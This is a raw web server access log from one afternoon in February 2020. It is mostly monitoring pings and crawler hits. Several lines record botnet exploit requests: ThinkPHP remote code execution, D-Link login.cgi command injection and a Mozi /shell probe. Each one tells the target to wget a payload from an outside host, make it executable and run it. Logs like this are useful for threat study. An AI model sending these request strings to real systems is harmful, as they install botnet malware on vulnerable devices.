185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
151.80.39.39 - - [28/Feb/2020:16:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [28/Feb/2020:16:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.5.152.128 - - [28/Feb/2020:16:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:16:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.55.148.29 - - [28/Feb/2020:16:49:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
119.15.91.158 - - [28/Feb/2020:16:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:16:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.57.190.251 - - [28/Feb/2020:16:50:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:16:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.185.147.64 - - [28/Feb/2020:16:55:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:16:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.59.136.238 - - [28/Feb/2020:16:58:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:16:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.158.11.8 - - [28/Feb/2020:17:09:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:17:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.234.19.122 - - [28/Feb/2020:17:13:17 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [28/Feb/2020:17:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.143.32.6 - - [28/Feb/2020:17:20:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [28/Feb/2020:17:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.107.58.54 - - [28/Feb/2020:17:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:17:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.21.43.84 - - [28/Feb/2020:17:26:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:17:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.215.28.126 - - [28/Feb/2020:17:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:17:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.23.247.69 - - [28/Feb/2020:17:37:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:17:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [28/Feb/2020:17:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [28/Feb/2020:17:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.189.31.49 - - [28/Feb/2020:17:44:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:17:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.128.23.123 - - [28/Feb/2020:17:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:17:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:17:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.32.110.118 - - [28/Feb/2020:18:03:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:18:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [28/Feb/2020:18:07:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:18:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [28/Feb/2020:18:07:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [28/Feb/2020:18:07:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [28/Feb/2020:18:08:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:18:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [28/Feb/2020:18:09:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [28/Feb/2020:18:09:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [28/Feb/2020:18:09:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [28/Feb/2020:18:09:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:18:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [28/Feb/2020:18:09:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:18:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.233.73.196 - - [28/Feb/2020:18:15:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:18:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.30.15.58 - - [28/Feb/2020:18:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:18:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.156.54.162 - - [28/Feb/2020:18:20:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
124.156.54.162 - - [28/Feb/2020:18:20:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
124.156.54.162 - - [28/Feb/2020:18:20:46 +0100] "\x16\x03\x01" 501 318 "-" "-"
124.156.54.162 - - [28/Feb/2020:18:20:46 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [28/Feb/2020:18:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.134.32.153 - - [28/Feb/2020:18:24:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:18:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
